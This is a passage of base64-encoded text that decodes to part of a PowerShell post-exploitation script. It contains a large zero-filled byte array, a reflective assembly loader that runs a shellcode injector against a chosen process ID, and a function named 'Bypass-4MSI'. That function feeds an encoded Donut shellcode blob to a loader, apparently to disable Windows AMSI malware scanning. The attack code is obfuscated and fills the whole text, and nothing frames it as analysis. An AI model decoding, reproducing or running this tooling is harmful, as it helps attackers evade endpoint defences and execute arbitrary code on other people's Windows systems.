LCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwCltTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJGJ5dGVzKSB8IE91dC1OdWxsCiRiYXNlNjQgPSAkZG9udXRmaWxlClthcnJheV0kYXJyYXkgPSAkcHJvY2Vzc19pZCwkQmFzZTY0CltTaGVsbGNvZGVUZXN0LlByb2dyYW1dOjpNYWluKCRhcnJheSkKfQp9CmZ1bmN0aW9uIHNob3ctbWV0aG9kcy1sb2FkZWQgeyRnbG9iYWw6c2hvd21ldGhvZHN9CgpGdW5jdGlvbiBCeXBhc3MtNE1TSSB7CgoKaWYgKChbSW50UHRyXTo6U2l6ZSkgLWVxIDQpIHsgIlNvcnJ5LCB0aGlzIGZ1bmN0aW9uIG9ubHkgd29yayBvbiB4NjQgOigiIH0gZWxzZSB7CmRvbnV0LWxvYWRlciAtcHJvY2Vzc19pZCAkcGlkIC1kb251dGZpbGUgIjZJaE5BQUNJVFFBQU14SFVoRS9jT2xzdmVJV0ZIanJYQ1F5eXYzV0VnRmRDSXhtMEFONmloc0lBQUFBQTg0TFJwUWZuMndRRVVHNGFaK09ZMGMwaHdwSmJDNUY1UFRYVjQyQW5tL3d3QmpnSDZNOTZJR2JDQ1NLay96UlFldjRrV0xBZ2xCMDgvRFM1OG80aXdZKzFQajlHQ3d6WkYvN2JUNVBDbDBCYnB0czVLU1U3ODdpdGtuYTdkdmlFZVZNUkpVaGJiMGxYaVlYaEJtZzluUmJCZzNsRzRpRDJxODdRL0pXWjJsNEIvQU8zeWhGQk9FZy81eFBLMG15aitwdTRDbmRWRmgvM1FneEpxOGxydjlyV0JCRWRyTVVkQkpGK0o5SHpzN3FtVkFqQUFLRTZId0dUcUZtVEZBUm1zeDRhRklGOVdJMmtzdVp0WUIvem9YNGxIOXBWVmVjL0dXN3JzQWQ0aXhDTU1KUzZVd1RrOStNR2sxRTFYYjBjd2o0M3h5cm4zRys4MG9lUzYySytscVBMLzZ0RW1nY1NhcEVsVVFYeW9hUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVA5UkdwNk5FOFR6Y0VtUWJBK0x4S1ZXcU40TldwUEE5c2tQa3l2ZzZrUDMyNXhsYkJNWjlzbzFLV0cxbkR1Y3dPZUFMMjB2eWlpZjYrT0J2Y1c4WVBiMTljNUNsOUVCckwzeW9mL0FWbFhsdU9vTjBwNmxTZVpJN3ZZOFdPK2hVcTRoUzkzbHViblRnZmpmM2dUVHd0TkxES0VMTHNlYjBOd21qRUt0ZWxHY0YzZElXU2c2VTZSVmhCKzNPcjdjejd4YVQzMDRra1l0WEJSL1JDbkkyY280ZzE0ZHluMXlkaFlkV2thK21oTkpFbW5jNHNkM3liR0ZqbURPOWQrblg1dHJhT1FJMmNBK1ZPK05xOWZTUElibGdYdGhOblVWdkZocHFkSU9HSU52R0lmbEVwTGkvcFBCQjRwYW5QcElRSEpoTXh2enBFV1pZUW1CN1Y3bUZVZ2x4VHk0MlV4ang4dDFHTVdJZ0J2Tk5na0VGYmJOOGMrV083OVNERXRCK005LzBpNTRlbk9tY2lsWkhvclFab2dwb3RGeGNZblhUcEI1MmFhMDA1bFJheFRjckpYMjRmU1I1V1FsVDBpNjlTbVhPS3FQWVZibzY5RUZISDFUbjcxRlhoRjRoZmpBT1hPTmg5VGg4b0FTMHZzMW13b3A5dmVTTjVrSjF5MzYwYUN0Z0lTZHlGclFSdXh3NktibXhleGtjcDEzRjJJS1FLL2ltSklzSFZ0aEdJVlVWQ2FvZ2Zlc29DcHRjcjNaUjl3c1RBMXI2VDM5YjExQXpTcWYzeHFJZVc0VjJxTGRTVEhldExoQU4ydmp4V2p4cmdxMHFybmJpVDExK1QydzY2VGpkUXNKR0F1R2d2NFB2VHliME9TYXc3aE5ZSVdjLy9jODRtdjBEelRWL3FrTG1JUHRpZGpkRnFBekUvK1NycXIzVHkydHlJZStjYTd3Znk5RG5PRVA1bUhLbUF1SWhxNzY1andEU2tHckJ6S2VzcG16OFlyRnhjUG0rMHFaZWF6WmdaMUVxTjk1YkJOVll1akZLUUl1dGhGcE1sejdnNTJ6VGlPYnBWT1ZtY0tDYWZpY1B2L2l3RzBXYmpXcndpcTV4dVF6TG5CZXJVVFpEYnl2UVMrS2dmTzFtZDZhbnd3QytRdnBURFBRWVpRS2JQYmFqeEV6TVFMYjVsbUJtcUdUdEd1a2VnbHI2dHU0bStYZldZTVNlZFhDeFJ0MTE2MzMzdm5VK2xUeDdQWjh0QXFMNi8yaVN1OWtaSUhKVWhYQ2F6dzVhNHcvTU1XQ3J1TFA0WjdaK01MU2cwbVZJMW05Y2VWcS8xMnFDM3FUSm94YUlBZUlFaDRVTnIwTWI2SlI2WjZIZzNWSy9kMXBGTUtVSThiOWtOT20xWkxpNW1iQzlHUnVUcDR1UEpwbjhPQjVaMmFITXd3TnJlOXNRRi84bGFNNk00UnpQRXY4WHBDWWlpRkN1VXo1ZGF1UGlZRDJxOS9HRDgycy9FaFY0Q0U3OGF0VE1LTU5jZkJ1NTRLN0xvRGtyMzRMVnRVODh1TzFCazJJL3Rrd1VRYnRtaEFhNklxVUJEOXFacVlMUjBhQTU0bGZ0azNSRG10Rlg0NHRVUWNQYWJuMldNcWxqSWxiV2NuR2hoUGVLelBIK2pDZm80VStmU050bGdBZGh5U0hja2htcmFFOEJLZ2Q0bTNYaHd6UzBFcFpKcDNlU005L09sYVpLSU9QZGJkUTVjYUNuYm5KbTFQaG1VTlIvUS9IUFBXL2kveEJSYlJjZEg3M0kzRHkyU3Q2b3djU0RPTk8wSENxVTRuS1ZmTkM0ZzMzTFNkUW8ybUpZNUQxUlBtWW1kNnBkZnFjbWdUY1lrUmhYRXlUTTdiTTBCaHkxQWJVYzdpMnhwRCswTGowWk5Wc1h6ekV6MWd3RnhWbGVHNUZhVTFKd3JVck43VGNEVEc0SWJnOEJydEVJNDVSdHlVL2lvMWF4Y2o0c1ZOOVlhRFNHNFNRYnZJc0d3d2kvdjVLNGVGdnhSL2ppYXRqTDgrRHlHYXEweVdpQ1B2VFhIQzJOdENxZ3Iva0JkTnhkZ2phVjFGYkNiRmxjSktOUUhndTVZMVlJOFNWanM1Vmg2YXNNTnI4cm83ZEhza0pLNDZHcldPdjQxOVNadW1IOTg3RVM4aWdOZjFrU0VuVGl6UThyQnRHRkdPV2VQOHViQ0pRS0I1ZXV4VkF4ODBWV2RXdGdGL000V2liQi85WFhiTHFvdzNMODlrd2dRajMxT0RmdGtybHpWT3ZsdnlkYXlGV0dPekUxVzJLcXdsREpBTS91NnNYNW9Gd2Z3M0JodTU0ZEtyVTVpWDRIU3VBUjhNdS9sR0Rhako0aGtlYTVxM1kyTzFjc0lnWnB5YlFGejBoM2NQMlJOa0liYmFNVUMvU2d2dFpmSkNJaHQwQmFBZm01VjFZVmZBUUxTemdVd1c0dWh2bjBTMHplQWMwS0pTMTNoenhPa093K0txOUYrSGVCRnU2d0tGck11R2ZNWjZGTmFDM0tYMkhXdldoVXlCUG85djI3T2tTUWdURzZCWHllQmxQblM2cTU1TkRXaHFVZ0l5blVGTjlDQzUySWxrZWFIbm5JMmU0dThkOW5MNSs2Z1FTcTBJRGM5cDIvVjBVOCtzS2ttMFJFZGNKcVJjZlJLeEV4SDhYTllLM0lqVGwweXhRTEYwM2JCcnN6SUlEeDk0ODY5Tzc0cVdzL0VEQ1R0WkpFdHlPQWJiVFJkMnFkTklKNXN3azN4bnEySkdXeGpNTDh2SnFDQTN6ZVFkd1RCOXFqcGtzeTZucG1xdE4xNmtQaVdtcUZVWm5NUXYzNDRKNFRySTlYTytWZ1puWGthSlJOUGlGb3lMclJxUmdlYTE2SXdSNlg3c0t4ZFhKM1ppRjNpc1ZiM1U5b2dVbGZOQ05NVVZueTFsU0poVGRIZk5Rc2JuUy9DaXFMbmI4eU8rYVRiSXB1TzcyNllmdU9mbXltR0dxWDB3Y2xra3I5UWFzcGphakd6Z253UzVuU291Y1FEMFlIdU9TdEsvY1Rsa0wrZThJT1l0OWszMXNqdHZQS3ZmQm0vVThBY3gvVU0rbysyalBjT3hTem0vZFdQTEUzRHdTUjV5Y2Q5UUZEQjRKRUZuNHdXMm9iLzBNSm1melBFZFo5VVFodXdkeFZHRW9POGQwUEcwMmp2TlphaWRPaG1CandlODNqd0QvMDN1SVI1VitRZlphK2JLNDRLaWlKZ25TSWhQczVPNDYyenBCdUR6enkzNGNyL0lYdEtpRmRQMVF0YW5odmdDWVRrajBSNGJDM1V6VksybVYzKzR3NDNvWG9tekMzdnYvUHhhWk9vUlJFbE9McGY2NHVDeHY5a2lNM1AzN1VsTXlQam9MSEFQejFVdEoxSGE0ODBuaXM3Q0lRVzQydjVCSjA0QXo2VktFalNyZHBvK0xjM2JlTU05T094Z2RhQVFCYkFGQzFJUVpPa3Jvb0s5VlBOenF6N2JzQWpUTFlCWnovNVluczY5cEFLdTk4SlNHYW9lOEY2UlJmVnFJdjIxejYyTW85Wnc1dTF3VE1lL25MMWszbFZjZHZTY1pScFNlV1RoWUs0bU1zazF2and2aVBQNTZKVm5PbHBxeDl3ZnhmekI2Lyt0TjlJREs4NUNEV1ZlcjZnendoSXFJOU1SMUwvY0k4bkRaWWovTGNQSDNIT1h6bGVYUGtGeEZMYzFudU5VQzl3aVBXaGhoTlNDVXVPMEJ5NSthSWJ3VndpeWpjdm9paXFIMnR3Q2M3eHJrcUx5RmxacDJyWkM4M0NuTWk4NXZUZnF5ZmI2SmRHdmpOMUhhVlAyeUd1b2E3UFZNZjFpN0JjRDVQTGNsWGk2UW96SDk5QW1VZkZLZUN4ZEdRZmwzUEJUVklQU3FzR0hFQjNWNUNVLzNGVThpbHU1MWFLRFk4ZzFIek5lU3V2a2ZxNUd3UmFIL0ttck1ZaTdaQjNRRDlESXF4OHJWVkpMOHVtaW5iU0FudUtzYmlYVWVhNmEyL081SkhPeWJyWTNxT3Z0YVdjQXJOQnpJMWdHMDFhekJsQWp2UGRMT2tabWlRTkViWmhabzhFZmdNcmZQZnFRVTZMUitpdFlJUEY4cTlwdnVldDF4UVVvRy9oOEJlZFJGT0tMMDcwN09EZTh2eVZhL3FBMFZ2TkN2SWNZdGJIQUxuWElwaEs1MW5NVTVIeXI5bS9heHJnVDR4TUpZc0Jablo4Ymp5S0Y3ZTh4VDY1N0lEaVJ1dWl2UzFRZzBSbHd6cStTQmk3QTdmbmJ2WC9WcnZYUStCQ1U2K3grME52WnZzNDlFMEphUDRQLytuaGtyRjdmYzZoeTUyVTVKazZVV01VYTNMVFRHMGNjajFKczA0U0VPejNkRXdoME9BcDRsdThIYTdzd0tnbE1hclFJZ2E4U0N1eUY1M3ZRQjdqOWRyOXo3Unhna1VBdFl5dEtLcHl2bC9yZnhralJJcG5LZk5Vc2syMWFiQllNelM1UUxUb3RqS2ZlbmdnOXMwcnRncm8zT1ExZ1ZsRzBKWklkUHBmZEdydXVnSEZLZUlaZFV6U0VQNmNtblR1YWRxNGdQai9PZmlNZHQ2bmxHYlZhQWNUNEVmaWNLOEEvYTVrOVp6c1JkUXZLYTBNS1Q5V2xGUlZmcEN2NC8xb3pidU9nUmJ5YlFQdm9ybDk5dlVmK1NjRXdhSk5ydDVqKzFNQmFSVVVwMGVqeExvbEJvRWdQZlE3S3l6Q0swV0VLVEMrLzNqVnQ3ZDMzZ1VMK1NXWEdNMWs1SWR4d0hkcCt1RHM5d2p5amFSRnBKSVdXRHF6RnNqWUxPQ2dYVGh0UXBidTlHbmF6THdkUGdZSnphSFNFY0YxZUVRZ1RMVGozWjZTR3Y2dlFGNFJGbXFYMjhublNVeVJHbGxGQURJZUR5YWxDMFBqNG44V1JHeVdzR1RwejJ5MGhWdGlNT0tWS3RBMG9ibEErNVcxaSs3SlVCam5mRXhSekxoYytKNjVXZU4yODRhTzlqb1I4UStndEJ0VjRXVys5eUIzcE1LZ2RxNVVWWW1ZTjZzQzhIenB1NWZOWFdBbEVEb1JyZ2xCZ0t6akJ4WkRXSERqYXVyVVVvV01ZR3owb09yQmUzZ3E5aHRFWHFjM3NlUzE3WnNEQXBoZ3Y1RnZya3dJVjNvVDJhNkliK0E2NVZicTVmcFp1SmROWVJwNjBlem1IcDEwK3V4RytudzYzdkIvcU9DcFlEUXZackQwTEdDL1lqdjBPdWVJQXg4eVpmb2Zkc2JycUFzZHBXRnJ4NlN0NGZkNVhiSmNHUVk3RW03VDVya3VYTmN0dzR3MkxmV3pjNDc3Z1gzRG5UcmsrdVc0RlExcWRXWW9MOHBRcFlYcC91TlFZU0EzaWxWS1p2R2hWTHd1eGh0Y042QUc5MWd1YUFqdFJIZkNFdHRtWlZOM2ZqZkYzeWhXaGJJR2JpUk1FKy9xN1JCbUUzQUhRQ1VlbjNIK2Z0Yk00a2d3cXNSd2I1WEYvOEtKcTFNVHhsTENucXIraUUrY0kxTFAwYWpKbFlydjdwdG54NnRRWEx0S05vVlF5aUZPVEZvdjdjcldHNEpyYVM1TlRwQmpqeGowWDIzOHIyOU45aWxDUWwxL1JKTElDREtCdkVnRTBGOHA5eVA2WEhlOFFHcXdnNDh0YXZQZS9VbFRtYk5pMHJWZVRFUWhPZTlFL2J3bVl4SlJZcGhaRitQeE5RMC9sZ1lGSTlia2V1Q21GTUpIZWdJRzZSOHJuVmw5akJJNGpjZTVuS3FoMXQ1d0xva1JLRVcrc213OExVUFNLM1hNNTJmUWlLNU8vZFdXK2I0VldhdVZxdVEyMllONUlYWi9Zc2Q5TUxycE9KVE1tQzFzMEY1OVJoazFPcUV5N3Erd05MSDFFTE5mRUprQWxzZGtSNGhqcEZHUU9JMmx3NmtNRUtBYjJ6VlN1YUQ2dmJjUmpPTnZEaFdBbCtubE9OQlg1alBqWU9kZStVcE1vWThxR2xRQVZuQ3FqQXYzV0xkVjdYaEdXMDhIL041a2FwVmlWUURQRks4TnlrUEFCZjk2REcxVTdVV0hBUU5tV2ZZcDhocTV3a2VWY1pYcXpWUXBmS3pFbXZ1cVB1R2NlZEZSajdGVmc5Wi85b3ZtQlE0QjIvYzk4NG05SXY0SW9aYzlDZUp6azQxc2wwMm54VllSK2xBU2wrVlRxQkdsVThhZ3lvSmJSQTJRM2IxZm9CQzl5VWpLV2k4SlJKV1cvZnFMMjdZdWZvUjhRaU55cDFjdUZ5dDd6bFJjNFM3OVZpYWV5Nzh3bzhLamZhRm9WN2E2bE5PU1cydVZ6R0pqY2VGU1JxS3JVUG12OTc2aW5RM1pXaVp0SzMwdGhCbXIzais5UmhtUktZOGpDYnlBWVNIOStnZFN3OERCZUg1SFJUWnhiL0FLL0FRM1hVUGVHaGw2NUoyVXNBZU1OK0xoaEdLY2VMTm10MWhHRWlBcU5EYXJMcUkrY2E3bnFOWjhtOGU0aGp3ci9zTVgrd0x5M2ZKbzlkL3VtcUhKK3ladVA4aFlBbW9udlpaZEptQ2N5TUw3M2JCTVRIbmtWT3gyUWlzVTNyTmJVVnlxdExXdzdzZUEzNmtWMkdHR3cvUVFsdW9oc3BMYVN1OFd6eXBmOFdRN0p2SnNONGxkcEszLzlUZ2xHTnp1QXZkQ2pDVkZWTnpBVTg4VVJFOWd1THlBQmdXK3gvcGJ6SWw0QnNxa093Yjc2US9XVVh6aGhyVFZsVytPT1ErNE9PL1RxNkpBWjg2ZXhzc3FkcjBPUktqTEpkZVZJY2ZYWFJXS1g1dzV5MUxIT0pGN2N0Wms2OFNmRlJaUXZYelhpM1hRQlhBeXdhbEF0a1ZtNWowajVVTVVieFp4ODVXdVdHWjZXRGJnaVFCbFpJM09NazZEajZLQUpSbGJaUkpCcmRIc1dJRDBHMWU0Q0lTeFFyZDBzd1ErczQ0WWljMDMwKzU3cHJ5NndmdlY0NFdPNUM0VWZkdHF5TEkwUGVHeHoxRXZ3SzNUWFR6TWlJVyt2aTBUaU9pUWhMakFjZCt5ZFJZVGw3ZkpQY1VFbXVzRTBST0JqaTRYMEF6ako3S3FQMlpkZWswRVRUY0txS1BmRHl3bWIwVE9naTAwYUVWeTZvWDNtdHpJSG1LQkNLcWFpeWVJbGhkblZOTy9zT1pLZjk2Y0hjV2FTZk01eFJhOVBmSWRFYmY5MUduUFBzQlBsNm00WWxXcUVuczJIL2N5K1N2dCtMTTF3eDlsS1oyL3Q0YXZNaUovMnRmaVJ2RzhjblVPVGM2YjBKMEtrVmR0ZTFOek8vUUFUZHlZMGVuZ3ZvUkplckUvT24vcE9PWU5OYm9Zb2h1TUYyRmJMdHlpMHpYZ05WaTJlekFubC9yYlpFMm1wMUxGSStoUWFlaURjRS9XazM0YzlYWVd1bzlSRkJlMGl6OFl5RlJKb2lVb2cvc3orRnAyOWF1QWlpTURSUWpNZWNKQjBjV0VOMktjR096ZjdQMHlGNWlDaFZ5bC9jNWpncThpTlJQeHY5cGdYM0RJcDVNNUxUSWpNKzQ0TnY1ZHE0TzEvY3kxSFVWOHRwQjVYZnJyQitpSHptOVZFdnRoTUxFZGZiNUlTS1g2UEFjeWQ5UXYwUnZYRFpUYi9LWTdXNlg4RW5haEVXWm1WVm9tWWt4cEhLTStsdXg5WC9IaVkyTWhPWXYvWGoya0dnV2RJTGZFcmM4eVppa0FUcGovVTJ6RFlsL2g2YWJVbEhrTFR5Q0tnUzQzY1dWemlDS0lKUXZkS3NNbkNWS0Y2YjZPRERsU0JXcUpFcS9sblFkRUUwT2M3RDVWNHAyU0x5eUIrRFIxcWgyTjQxdE96YkhnUU01cEIyVjRuVmFsWUd2MHVlcDJjYlZSTCszMHBoU2xFMnBqZ2pBbkxTQXBuaEc4bmh1YmlETFdaZ2lTRkFXU05QcllPRzE2YmJoTWlZSjczSzFhelpZRFE4N2VKSVNCZVBGMHYxUnFtT1R6Ky8rcVhtaXpDeGNLSmdIYk9wcndxcUdVZE8wS3ZtaTFxdHZs